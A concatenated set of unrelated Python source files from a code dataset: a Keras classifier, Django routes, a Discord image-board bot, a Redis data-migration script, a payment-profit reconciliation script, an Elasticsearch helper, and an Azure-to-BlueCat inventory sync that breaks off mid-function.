column\r\n# model.add(Dense(64))\r\n# model.add(Dropout(0.1))\r\n# model.add(Activation('sigmoid'))\r\nmodel.add(Dense(hidden_units)) # Just a linear operation (matrix x vector). Just a fully connected layer\r\nmodel.add(Dense(hidden_units)) # Just a linear operation (matrix x vector). Just a fully connected layer\r\n\r\n# ^^^^ add more dense layers here ^^^^\r\n\r\nmodel.add(Activation('softmax')) # (L6)\r\n# ------------------- END of sequential network -------------------------------------\r\n\r\nadamop=Adam(lr=0.4) # learning rate ??? (not used !?)\r\n\r\nmodel.compile(loss='poisson', optimizer='adam', metrics=['accuracy']) # configures the model for training\r\n\r\n# train the model (for a given number of epochs)\r\nhistory = model.fit(train_x, train_y,\r\n                    validation_data=[test_x, test_y], # it gives us the val_accuracy metric\r\n                    batch_size=batch_size,\r\n                    epochs=epochs,\r\n                    shuffle=True)\r\n\r\n# Evaluation\r\nscore = model.evaluate(test_x, test_y) # Returns the loss value & metrics values for the model in test mode.\r\n\r\n# Testing\r\npred=model.predict(test_x) # Generates output predictions for the input samples.\r\n\r\nprint('Test loss:', score[0])\r\nprint('Test accuracy:', score[1])\r\nprint(history.history.keys())\r\n\r\nmodel.summary()\r\nfilename = __file__[:-3]\r\nmodel.save(filename+'.h5')\r\n\r\n# ----- Question 1 -----\r\n# summarize history for accuracy\r\nplt.plot(history.history['acc'])\r\nplt.plot(history.history['val_acc'])\r\nplt.title('model accuracy')\r\nplt.ylabel('accuracy')\r\nplt.xlabel('epoch')\r\nplt.legend(['train', 'test'], loc='upper left')\r\nplt.grid()\r\nplt.show()\r\n","sub_path":"img-classification.py","file_name":"img-classification.py","file_ext":"py","file_size_in_byte":4395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"576353183","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf import settings\n\nfrom registration.backends.simple.views import RegistrationView\n\n# Create a new class that redirects the user to the index page, if succesful at logging\nclass MyRegistrationView(RegistrationView):\n    def get_success_url(self, request, user):\n        return '/rango/add_profile/' # Could probably make this more relative using namespaces\n\n\n#This is called the urlpatterns \"definition\"; like you're defining any variable, in the form of a tuple\nurlpatterns = patterns('',\n    # Examples:\n    # url(r'^$', 'tango_with_django_project.views.home', name='home'),\n    # url(r'^blog/', include('blog.urls')),\n\n    url(r'^admin/', include(admin.site.urls)),\n    url(r'^rango/', include('rango.urls', namespace = 'rango')), #Adds app specific urls.py file\n    #Add in this url pattern to override the default pattern in the Registration App\n    url(r'^accounts/register/$', MyRegistrationView.as_view(), name='registration_register'),\n    (r'^accounts/', include('registration.backends.simple.urls')),\n)\n\nif settings.DEBUG:\n    urlpatterns += patterns(\n        'django.views.static',\n        (r'^media/(?P<path>.*)',\n        'serve',\n        {'document_root': settings.MEDIA_ROOT}),\n        )\n","sub_path":"code/tango_with_django_project/tango_with_django_project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"279323535","text":"\"\"\"Search and gallery operations for art websites\"\"\"\nimport discord\nfrom discord.ext import commands\n\n\nclass ImageBoard(commands.Cog):\n    \"\"\"Streaming websites definitions\"\"\"\n\n    def __init__(self, bot: commands.Bot):\n        self.bot = bot\n\n    @commands.command(name='danbooru', aliases=['dan'])\n    async def search_danbooru(self, ctx, *tags):\n        \"\"\"Search on danbooru!\"\"\"\n        board_cog = self.bot.get_cog('Board')\n        await board_cog.search_board(ctx, tags, guide=self.bot.guides['gallery']['danbooru-default'])\n\n    @commands.command(name='e621', aliases=['e6'])\n    async def search_e621(self, ctx, *tags):\n        \"\"\"Search on e621!\"\"\"\n        board_cog = self.bot.get_cog('Board')\n        await board_cog.search_board(ctx, tags, board='e621', guide=self.bot.guides['gallery']['e621-default'])\n\n    @commands.command(name='sankaku')\n    async def search_sankaku(self, ctx, *tags):\n        \"\"\"Search on sankaku!\"\"\"\n        board_cog = self.bot.get_cog('Board')\n        await board_cog.search_board(ctx, tags, board='sankaku', guide=self.bot.guides['gallery']['sankaku-show'], hide_posts_remaining=True)\n\n    async def show_gallery(self, msg: discord.Message, url: str, board: str, guide: dict):\n        \"\"\"Show a gallery\"\"\"\n        gallery_cog = self.bot.get_cog('Gallery')\n\n        if board == 'danbooru':\n            await gallery_cog.display_static(msg.channel, msg, url, guide=guide)\n        elif board == 'e621':\n            await gallery_cog.display_static(msg.channel, msg, url, board='e621', guide=guide, end_regex=True)\n        elif board == 'twitter':\n            await gallery_cog.get_twitter_gallery(msg, url)\n        elif board == 'pixiv':\n            await gallery_cog.get_pixiv_gallery(msg, url)\n        elif board == 'sankaku':\n            await gallery_cog.display_static(msg.channel, msg, url, board='sankaku', guide=guide)\n        elif board == 'deviantart':\n            await gallery_cog.get_deviantart_post(msg, url)\n        elif board == 'imgur':\n            await gallery_cog.get_imgur_gallery(msg, url)\n        else:\n            raise ValueError(f'Board \"{board}\" has no gallery entry.')\n\n\ndef setup(bot: commands.Bot):\n    \"\"\"Initiate cog\"\"\"\n    bot.add_cog(ImageBoard(bot))\n","sub_path":"koabot/cogs/imageboard.py","file_name":"imageboard.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"544568366","text":"#!/usr/bin/python\n\nimport sys\nsys.path.append('../src/py/mongo/')\n\nimport json\nimport pprint\nimport psycopg2\nfrom psycopg2.extras import RealDictCursor\nfrom psycopg2 import Binary as psycopg2_Binary\nimport ConfigParser\nimport os\nimport traceback\nimport subprocess\nimport datetime\nimport pytz\nimport sys\nimport io\nimport gridfs\nimport redis\nimport subprocess\nimport redis_indexes\n\nimport msgpack\n\n\nfrom upgrade_db_utils import *\n\nred = redis.Redis(unix_socket_path='/tmp/redis.sock')\n\n\nold = psycopg2.connect(\"port=6432 user='postgres' password='secret' \"\n                       \"dbname='stavcc'\")\n\n'''\nred.execute_command('flushall')\n\npsql = psycopg2.connect(\"port=6432 user='postgres' password='secret' \"\n                       \"dbname='temp'\")\n\nprint('Starting cities')\nc = psql.cursor(cursor_factory=RealDictCursor)\n\nc.execute(\"select id, name, region, country, \"\\\n          \"iso2, lat, lng, pop, searchname from cities \"\\\n          \"ORDER BY id\")\nfor city in c:\n    print('City %d' % (city['id']))\n    cityid = newid()\n    jcity = {\n        'id': cityid,\n        'name': city['name'],\n        'region': city['region'],\n        'country': city['country'],\n        'iso2': city['iso2'],\n        'lat': float(city['lat']),\n        'lng': float(city['lng']),\n        'pop': city['pop'],\n    }\n    red.set('city::%s' % (cityid), msgpack.dumps(jcity))\n    red.sadd('all:cities:::', cityid)\nprint('Done with cities')\n\ncnt = 0\nfor key in red.scan_iter(match='city::*'):\n    cnt += 1\n    print('City: %d' % (cnt))\n    city = msgpack.loads(red.get(key))\n    name = city['name'].lower()\n    pop = float(city['pop'] or 0)\n    for x in range(1, len(name) + 1):\n        red.zadd('city:name:search::%s' % (name[:x]), key, pop)\n'''\n\nuonmap = {}\nunomap = {}\n\nr = red\n\nprint('Starting with users')\noldusersc = old.cursor(cursor_factory=RealDictCursor)\noldusersc.execute(\"select \"\\\n                  \"u.id as id, \"\\\n                  \"u.email as email, \"\\\n                  \"u.password as password, \"\\\n                  \"u.unsubscribed as unsubscribed, \"\\\n                  \"u.unsubscribeid as unsubscribeid, \"\\\n                  \"u.verifiedemail as verifiedemail, \"\\\n                  \"u.verifyemailid as verifyemailid, \"\\\n                  \"p.name as pname, \"\\\n                  \"p.info as pinfo, \"\\\n                  \"p.category as pcat, \"\\\n                  \"p.gender as pgen, \"\\\n                  \"json_build_object(\"\\\n                  \"'gens', l.gender, \"\\\n                  \"'rols', l.role, \"\\\n                  \"'rels', l.relationship) as look, \"\\\n                  \"json_build_object(\"\\\n                  \"'bday', pp.birthday, \"\\\n                  \"'orie', pp.sexuality, \"\\\n                  \"'role', pp.role) as pers, \"\\\n                  \"c.id as cityid, \"\\\n                  \"c.name_ascii as cityname_ascii, \"\\\n                  \"c.name as cityname, \"\\\n                  \"c.region as region, \"\\\n                  \"c.country as country, \"\\\n                  \"c.iso2 as iso2, \"\\\n                  \"c.lng as lng, \"\\\n                  \"c.lat as lat, \"\\\n                  \"(SELECT array_agg(_id) \"\\\n                  \" as pids FROM photos \"\\\n                  \" WHERE userid = u.id) \"\\\n                  \"from users u \"\\\n                  \"join profiles p on p.userid = u.id \"\\\n                  \"join looking l on l.userid = u.id \"\\\n                  \"join persons pp on pp.userid = u.id \"\\\n                  \"left join cities c on p.city = c.id \"\\\n                  \"ORDER BY u.id\")\nfor ou in oldusersc:\n    print('User %d' % (ou['id']))\n    nid = newid()\n    uonmap[ou['id']] = nid\n    unomap[nid] = ou['id']\n    nu = {\n        'uuid': nid,\n        'email': ou['email'],\n        'since': datetime.datetime.now(pytz.utc).isoformat(),\n        'password': ou['password'],\n        'unsubscribed': ou['unsubscribed'],\n        'unsubscribeid': ou['unsubscribeid'],\n        'verifiedemail': ou['verifiedemail'],\n        'verifyemailid': ou['verifyemailid'],\n        'profile': {\n            'uuid': nid,\n            'name': ou['pname'],\n            'info': ou['pinfo'],\n            'category': catmap(ou['pcat']),\n            'gender': pgenmap(ou['pgen']),\n            'location': locmap2(ou),\n            'looking': {\n                'gender': lgenmap(ou['look']['gens']),\n                'relationship': lrelmap(ou['look']['rels']),\n                'role': lrolmap(ou['look']['rols']),\n                'distance': None\n            },\n            'persons': persmap(ou['pgen'], ou['pers']),\n            'photos': photomap(ou['pids'])\n        },\n        'location': locmap1(ou),\n    }\n    user_fill_in_dynamic(nu)\n    red.set('user::%s' % (nu['uuid']), msgpack.dumps(nu))\n    red.sadd('all:users:::', nu['uuid'])\n    r.lpush('backup:users:::', msgpack.dumps(nu))\n    r.publish('backup:notify:::', 'backup:users:::')\n\nprint('Starting with messages')\nomc = old.cursor(cursor_factory=RealDictCursor)\nomc.execute(\"SELECT id, _from, _to, _new, inbox_deleted, \"\\\n            \"sent_deleted, timestamp, body, \"\\\n            \"(select array_agg(_id) as photoids \"\\\n            \" from message_photos where messageid = messages.id) \"\\\n            \"from messages order by id;\");\nfor om in omc:\n    m_id = newid()\n    print(\"Message %d\" % (om['id']))\n    nm = {\n        uonmap[om['_from']]: {\n            'is_incoming': False,\n            'peer': uonmap[om['_to']]\n        },\n        uonmap[om['_to']]: {\n            'is_incoming': True,\n            'peer': uonmap[om['_from']]\n        },\n        'message': {\n            'uuid': m_id,\n            'senderuuid': uonmap[om['_from']],\n            'recipientuuid': uonmap[om['_to']],\n            'text': om['body'],\n            'photos': om['photoids'],\n            'timestamp': om['timestamp'].isoformat()\n        }\n    }\n    red.set('message::%s' % (nm['message']['uuid']), msgpack.dumps(nm))\n    red.sadd('all:messages:::', (nm['message']['uuid']))\n    if om['_new']:\n        red.sadd('inbox:unread::%s' % (nm['message']['recipientuuid']),\n                 'message::%s' % (nm['message']['uuid']))\n    r.lpush('backup:messages:::', msgpack.dumps(nm))\n    r.publish('backup:notify:::', 'backup:messages:::')\nprint('Done with messages')\n\nfor table in ['photos', 'message_photos']:\n    print('Starting with %s' % (table))\n    opc = old.cursor(cursor_factory=RealDictCursor)\n    opc.execute(\"SELECT id, _id, userid, data, thumb FROM \"\n                + table + \" ORDER BY id\")\n    for oph in opc:\n        print('Photo %d' % (oph['id']))\n        photo = io.BytesIO(oph['data'])\n        thumb = io.BytesIO(oph['thumb'])\n        red.set('%s:photo::%s' % (table, oph['_id']), photo.read())\n        red.set('%s:thumb::%s' % (table, oph['_id']), thumb.read())\n        red.sadd('all:%s:::' % (table), oph['_id'])\n        r.lpush('backup:%s:::' % (table), oph['_id'])\n        r.publish('backup:notify:::', 'backup:%s:::' % (table))\n    print('Done with %s' % (table))\n\nredis_indexes.rebuild()\n","sub_path":"utils/populate_redis.py","file_name":"populate_redis.py","file_ext":"py","file_size_in_byte":6906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"242966707","text":"import MySQLdb as dbapi\nimport datetime\nimport requests\nimport click\nimport sys\nimport os\nimport redis\n\nclient = redis.Redis(host='localhost', port=6379, db=0)\npath = os.path.abspath(__file__)\ndir_path = os.path.dirname(path)\nsys.path.append(dir_path)\nimport ClearData\nimport DifferProfit\nimport SqlManager\n\n@click.group()\ndef cli():\n    pass\n\n\n#dbServer = '10.8.18.102'\ndbServer = '10.8.18.213'\ndbPass = '1234'\ndbSchema = 'posbill'\ndbUser = 'root'\n\n\ndef profitStatementTables():\n    pass\n\n\ndef makeProfitEmptyDict():\n    dct = {}\n    dct['F_transaction_id'] = 0\n    dct['F_operation_type'] = 0\n    dct['F_order_id'] = 0\n    dct['F_agent_id'] = 0\n    dct['F_merchant_id'] = 0\n    dct['F_buy_terminal_level'] = 0\n    dct['F_payment_channel_id'] = 0\n    dct['F_payment_flag'] = 0\n    dct['F_merchant_verified_type'] = 0\n    dct['F_agent_verified_type'] = 0\n    dct['F_is_bind_sn'] = 0\n    dct['F_card_type'] = 0\n    dct['F_agent_type'] = 0\n    dct['F_profit_rule_type'] = 0\n    dct['F_pay_type'] = 0\n    dct['F_profit_type'] = 0\n    dct['F_flag'] = 0\n    dct['F_vip_flag'] = 0\n    dct['F_activity_index'] = 0\n    dct['F_scheme'] = 0\n    dct['F_preferential_type'] = 0\n    dct['F_max_flag'] = 0\n    dct['F_weixin_activity_flag'] = 0\n    dct['F_merchant_commission_bymillion'] = 0\n    dct['F_merchant_max_fee_bymillion'] = 0\n    dct['F_t0_merchant_fixed_fee_bymillion'] = 0\n    dct['F_t1_merchant_fixed_fee_bymillion'] = 0\n    dct['F_cost_commission_bymillion'] = 0\n    dct['F_cost_max_fee_bymillion'] = 0\n    dct['F_t0_cost_fixed_fee_bymillion'] = 0\n    dct['F_t1_cost_fixed_fee_bymillion'] = 0\n    dct['F_extra_fee_rate_bymillion'] = 0\n    dct['F_ins_amount_bymillion'] = 0\n    dct['F_payment_source_type'] = 0\n    dct['F_amount'] = 0\n    dct['F_merchant_fee_bymillion'] = 0\n    dct['F_channel_fee_bymillion'] = 0\n    dct['F_cost_fee_bymillion'] = 0\n    dct['F_profit_bymillion'] = 0\n    dct['F_profit_leshua_bymillion'] = 0\n    dct['F_time'] = 0\n    dct['F_create_time'] = 0\n    dct['F_remark'] = 0\n\n    dct['F_new_merchant_fee_bymillion'] = 0\n    dct['F_new_profit_bymillion'] = 0\n\n    return dct\n\n\ndef loadProfitState(row):\n    dct = {}\n\n    dct['F_transaction_id'] = row[0]\n    dct['F_operation_type'] = row[1]\n    dct['F_order_id'] = row[2]\n    dct['F_agent_id'] = row[3]\n    dct['F_merchant_id'] = row[4]\n    dct['F_buy_terminal_level'] = row[5]\n    dct['F_payment_channel_id'] = row[6]\n    dct['F_payment_flag'] = row[7]\n    dct['F_merchant_verified_type'] = row[8]\n    dct['F_agent_verified_type'] = row[9]\n    dct['F_is_bind_sn'] = row[10]\n    dct['F_card_type'] = row[11]\n    dct['F_agent_type'] = row[12]\n    dct['F_profit_rule_type'] = row[13]\n    dct['F_pay_type'] = row[14]\n    dct['F_profit_type'] = row[15]\n    dct['F_flag'] = row[16]\n    dct['F_vip_flag'] = row[17]\n    dct['F_activity_index'] = row[18]\n    dct['F_scheme'] = row[19]\n    dct['F_preferential_type'] = row[20]\n    dct['F_max_flag'] = row[21]\n    dct['F_weixin_activity_flag'] = row[22]\n    dct['F_merchant_commission_bymillion'] = row[23]\n    dct['F_merchant_max_fee_bymillion'] = row[24]\n    dct['F_t0_merchant_fixed_fee_bymillion'] = row[25]\n    dct['F_t1_merchant_fixed_fee_bymillion'] = row[26]\n    dct['F_cost_commission_bymillion'] = row[27]\n    dct['F_cost_max_fee_bymillion'] = row[28]\n    dct['F_t0_cost_fixed_fee_bymillion'] = row[29]\n    dct['F_t1_cost_fixed_fee_bymillion'] = row[30]\n    dct['F_extra_fee_rate_bymillion'] = row[31]\n    dct['F_ins_amount_bymillion'] = row[32]\n    dct['F_payment_source_type'] = row[33]\n    dct['F_amount'] = row[34]\n    dct['F_merchant_fee_bymillion'] = row[35]\n    dct['F_channel_fee_bymillion'] = row[36]\n    dct['F_cost_fee_bymillion'] = row[37]\n    dct['F_profit_bymillion'] = row[38]\n    dct['F_profit_leshua_bymillion'] = row[39]\n    dct['F_time'] = row[40]\n    dct['F_create_time'] = row[41]\n    dct['F_remark'] = row[42]\n\n    dct['F_profit_bymillion'] = int(dct['F_profit_bymillion'])\n    print(\"old profit bymillion {}\".format(row[38]))\n\n    fee = getFee(dct['F_transaction_id'])\n    if fee is None:\n        return None\n    dct['F_payment_flag'] = row[7]\n    dct['F_merchant_fee_bymillion'] = int(row[35])\n    dct['F_cost_fee_bymillion'] = int(row[37])\n\n    dct['F_new_merchant_fee_bymillion'] = fee * 100\n    dct['F_new_profit_bymillion'] = dct['F_new_merchant_fee_bymillion'] - \\\n                                    dct['F_cost_fee_bymillion']\n    #dct['F_source_table'] = sourceTable.getKey(dct['F_transaction_id'])\n    return dct\n\n\n@click.command()\ndef filterStatement(start, end):\n    process = DifferProfit.makeDiffer(makeProfitEmptyDict, loadProfitState)\n    process(start, end)\n\n\n@click.group()\ndef cli():\n    pass\n\n\n\n\n\n\n\n\nclass RedisSet():\n    def __init__(self, name):\n        self.name = name\n\n    def add(self, key):\n        client.sadd(self.name, key)\n\ntranSet = RedisSet('mysset')\nagentSet = RedisSet('AgentSet')\n\n\n@click.command()\ndef loadTransFlag(start, end):\n    for i in range(0, 100):\n        sql = (\"select F_transaction_id \"\n               \"from t_merchant_statement_{suffix} \"\n               \"where (F_flag&(1<<3)) and F_time <='{end}' \"\n               \"and F_time >='{start}'\").format(\n                   start=start, end=end, suffix=str(i).zfill(2))\n        with SqlManger.Execute(sql) as result:\n            for row in result:\n                tranSet.add(row[0])\n\n@click.command()\ndef loadAgentClass():\n    sql = \"select F_agent_id from lepos.t_agent_info where F_agent_class='11'\"\n    with SqlManager.Execute(sql) as result:\n        for row in result.result:\n            agentSet.add(row[0])\n\n\n\ncli.add_command(loadAgentClass)\ncli.add_command(loadTransFlag)\n\nif __name__ == '__main__':\n    cli()\n","sub_path":"leshuaibao.py","file_name":"leshuaibao.py","file_ext":"py","file_size_in_byte":5657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"391349945","text":"from typing import Generator\n\nfrom elasticsearch import Elasticsearch\n\nquery = {\n    \"bool\": {\n        \"should\": [{\"match_all\": {}}],\n        \"filter\": [{\"term\": {\"type\": \"Visible\"}}],\n    }\n}\n\nrandom_sort_query = {\n    \"function_score\": {\n        \"query\": query,\n        \"functions\": [{\"random_score\": {}}],\n        \"boost_mode\": \"replace\",\n    }\n}\n\n\ndef yield_works(\n    es: Elasticsearch, index: str, batch_size: int\n) -> Generator[dict, None, None]:\n    search_params = {\n        \"index\": index,\n        \"size\": batch_size,\n        \"query\": random_sort_query,\n        \"source\": [\n            \"display.title\",\n            \"display.contributors\",\n            \"display.thumbnail\",\n        ],\n        \"sort\": [{\"query.id\": {\"order\": \"asc\"}}],\n        \"search_after\": [0],\n    }\n    while True:\n        try:\n            hits = es.search(**search_params).body[\"hits\"][\"hits\"]\n            search_params[\"search_after\"] = hits[-1][\"sort\"]\n            yield hits\n        except IndexError:\n            break\n\n\ndef count_works(es: Elasticsearch, index: str) -> int:\n    return es.count(index=index, query=query)[\"count\"]\n","sub_path":"search-as-you-type/pipeline/src/sources/works.py","file_name":"works.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"14871250","text":"#!/usr/bin/env python3\n# Author: Brian Shorland - BlueCat Networks\n\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.compute import ComputeManagementClient\nfrom azure.mgmt.network import NetworkManagementClient\nimport bamclient as BAM\nfrom datetime import datetime\nfrom configparser import ConfigParser\n\nparser = ConfigParser()\nparser.read('cloudatlas.conf')\n\nazure_subscription = parser.get('AZURE', 'azure_subscription')\nazure_client = parser.get('AZURE', 'azure_client')\nazure_client_secret = parser.get('AZURE', 'azure_client_secret')\nazure_tenent_id = parser.get('AZURE', 'azure_tenent_id')\n\nsoap_client = BAM.bam_login()\nprops = \"\"\nif BAM.GetAzureDeviceTypeID(soap_client) == False:\n\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Adding Azure DeviceTypes to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\tAzureDevType = BAM.AddDeviceType(soap_client,\"Microsoft Azure\",props)\n\tAzureInsanceSubType = BAM.AddDeviceSubType(soap_client,AzureDevType,\"Azure Virtual Machine\",props)\nelse:\n\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Azure DeviceTypes already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\tx = BAM.GetAzureDeviceTypeID(soap_client)\n\tAzureDevType = x\n\tAzureInsanceSubType = soap_client.service.getEntityByName(x, \"Azure Virtual Machine\", 'DeviceSubtype')['id']\nprint(\"\")\n\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Google CloudAtlas] Checking/Adding Device UDFS to BlueCat Address Manager ' + BAM.bcolours.ENDC )\nif not (BAM.GetDeviceUDF(soap_client,\"AvailabilityZone\")):\n\tBAM.AddUDF(soap_client,\"AvailabilityZone\",\"Availability Zone\")\nif not (BAM.GetDeviceUDF(soap_client,\"InstanceState\")):\n\tBAM.AddUDF(soap_client,\"InstanceState\",\"Instance State\")\nif not (BAM.GetDeviceUDF(soap_client,\"InstanceType\")):\n\tBAM.AddUDF(soap_client,\"InstanceType\",\"Instance Type\")\nif not (BAM.GetDeviceUDF(soap_client,\"IPv4PublicIP\")):\n\tBAM.AddUDF(soap_client,\"IPv4PublicIP\",\"IPv4 Public IP\")\nif not (BAM.GetDeviceUDF(soap_client,\"PrivateDNSName\")):\n\tBAM.AddUDF(soap_client,\"PrivateDNSName\",\"Private DNS Name\")\nif not (BAM.GetDeviceUDF(soap_client,\"PublicDNSName\")):\n\tBAM.AddUDF(soap_client,\"PublicDNSName\",\"Public DNS Name\")\nif not (BAM.GetDeviceUDF(soap_client,\"CloudAtlasSyncTime\")):\n\tBAM.AddUDF(soap_client,\"CloudAtlasSyncTime\",\"CloudAtlas Sync Time\")\n\nGROUP_NAME = 'myResourceGroup'\n\nsubscription_id = azure_subscription\n\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] subscription_id: ' + subscription_id + BAM.bcolours.ENDC )\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] azure_client: ' + azure_client + BAM.bcolours.ENDC )\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] azure_tenent_id: ' + azure_tenent_id + BAM.bcolours.ENDC )\nprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Resource Group: ' + GROUP_NAME + BAM.bcolours.ENDC )\nprint(\"\\n\")\n\n# Get all VNETS in Subscription, change to list(GROUP_NAME) for VNETs in resource group\ndef get_azure_infra():\n    print (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] get_azure_infra()' + BAM.bcolours.ENDC )\n    vnets = network_client.virtual_networks.list_all()\n    for net in vnets:\n        # print(net)\n        print(\"\\tAzure VNETs: {}\".format(net.name))\n        print(\"\\tAzure VNETs Location: {}\".format(net.location))\n        address_space = str(net.address_space.address_prefixes).split(\"'\")[1].strip()\n        print(\"\\tAzure VNETs Address Space: {}\".format(address_space))\n        subs = network_client.subnets.list(GROUP_NAME,net.name)\n        for s in subs:\n           print(\"\\tPrivate Subnet CIDR: {}\".format(s.address_prefix))\n           print(\"\\tPrivate Subnet Name: {}\".format(s.name))\n        print(\"\\n\")\n\n# Get all VMs in Subscription, change to list(GROUP_NAME) for VMs in resource group only\ndef get_azure_vms():\n\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] get_azure_vms()' + BAM.bcolours.ENDC )\n\tfor vm in compute_client.virtual_machines.list_all():\n\t\tvmd = compute_client.virtual_machines.get(GROUP_NAME, vm.name, expand='instanceView')\n\t\thardware = vmd.hardware_profile\n\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Virtual Machine Discovered' + BAM.bcolours.ENDC )\n\t\tfor stat in vmd.instance_view.statuses:\n\t\t\tcur_status = stat.display_status\n\t\tfor interface in vm.network_profile.network_interfaces:\n\t\t\tname=\" \".join(interface.id.split('/')[-1:])\n\t\t\tsub=\"\".join(interface.id.split('/')[4])\n\t\t\tipconfs=network_client.network_interfaces.get(sub, name).ip_configurations\n\t\t\tfor i in ipconfs:\n\t\t\t\tvnet=\"\".join(i.subnet.id.split('/')[-3])\n\t\t\t\tb = network_client.virtual_networks.get(GROUP_NAME,vnet)\n\t\t\t\tvnet_name = b.name\n\t\t\t\taddress_space = str(b.address_space.address_prefixes).split(\"'\")[1].strip()\n\t\t\t\tsn=\"\".join(i.subnet.id.split('/')[-1:])\n\t\t\t\tsub = network_client.subnets.get(GROUP_NAME,vnet,sn)\n\t\t\t\tpublic_ip = network_client.public_ip_addresses.get(GROUP_NAME,vm.name + \"-ip\")\n\t\t\t\tif public_ip.dns_settings is None:\n\t\t\t\t\tpubdns = \"NA\"\n\t\t\t\telse:\n\t\t\t\t\tpubdns = public_ip.dns_settings.fqdn\n\n\t\tconfig = GROUP_NAME + \" [\" +  vnet + \"]\"\n\n\t\t# Check if VNET configuration in BAM already is present, if not add the VNET configuration\n\t\tconf = BAM.GetConfiguration(soap_client,config)\n\t\tif conf:\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] VNET Configuration already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\telse:\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] VNET Configuration not found, adding to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\tconf = vnet\n\t\t\tBAM.AddAzureConfiguration(soap_client,config)\n\n\t\t# Check if Network Block of VPC is already in the config in BAM, if not add the required Block\n\t\tconf = BAM.GetConfiguration(soap_client,config)\n\t\tblk = BAM.GetBlockV4(soap_client,conf.id,str(address_space))\n\t\tif blk:\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] VNET Network Block already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\telse:\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Adding VNET Network Block to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\tconf = BAM.GetConfiguration(soap_client,config)\n\t\t\tpid = str(conf['id'])\n\t\t\tprops=\"name=\" + vnet_name\n\t\t\tblk = BAM.AddBlockV4(soap_client,pid,address_space,props)\n\n\t\t# Check if Subnet of VNET is already in the Block in BAM, if not add the required Subnet\n\t\tblk = BAM.GetBlockV4(soap_client,conf.id,str(address_space))\n\t\tsubn = BAM.GetNetworkV4(soap_client,blk.id,str(sub.address_prefix))\n\t\tif subn:\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] VNET Subnet already in BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\telse:\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Adding VNET Subnet to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\tprops=\"name=\" + sn\n\t\t\tBAM.AddNetworkV4(soap_client,blk.id,str(sub.address_prefix),props)\n\n\t\t# Check if Instance Device is already added, if not add the required device\n\t\tdev = BAM.GetDevice(soap_client,conf.id,vm.name)\n\t\tif dev:\n\t\t\tnow = datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\")\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Azure VM Device in BlueCat Address Manager, updating  ' + BAM.bcolours.ENDC )\n\t\t\tBAM.DelDevice(soap_client,conf.id,dev.id)\n\t\t\tprops=\"PrivateDNSName=Not Applicable\" + '|' + \"PublicDNSName=\" + pubdns + '|' + \"InstanceState=\"+cur_status + '|' + \"InstanceType=\"+hardware.vm_size + \"|\" + \"AvailabilityZone=\" + vm.location + \"|\" + \"IPv4PublicIP=\" + str(public_ip.ip_address)+ \"|CloudAtlasSyncTime=\" + now\n\t\t\tdevice = soap_client.service.addDevice(str(conf['id']),vm.name,AzureDevType,AzureInsanceSubType,i.private_ip_address,\"\",props)\n\n\t\telse:\n\t\t\tnow = datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\")\n\t\t\tprint (BAM.bcolours.GREEN + BAM.bcolours.BOLD + '[Azure CloudAtlas] Azure VM Device not found, adding to BlueCat Address Manager ' + BAM.bcolours.ENDC )\n\t\t\tprops=\"PrivateDNSName=Not Applicable\" + '|' + \"PublicDNSName=\" + pubdns + '|' + \"InstanceState=\"+cur_status + '|' + \"InstanceType=\"+hardware.vm_size + \"|\" + \"AvailabilityZone=\" + vm.location + \"|\" + \"IPv4PublicIP=\" + str(public_ip.ip_address)+ \"|CloudAtlasSyncTime=\" + now\n\t\t\tdevice = soap_client.service.addDevice(str(conf['id']),vm.name,AzureDevType,AzureInsanceSubType,i.private_ip_address,\"\",props)\n\n\t\tprint(\"\")\n\n\ndef get_credentials():\n\tcredentials = ServicePrincipalCredentials(\n\t\tclient_id = 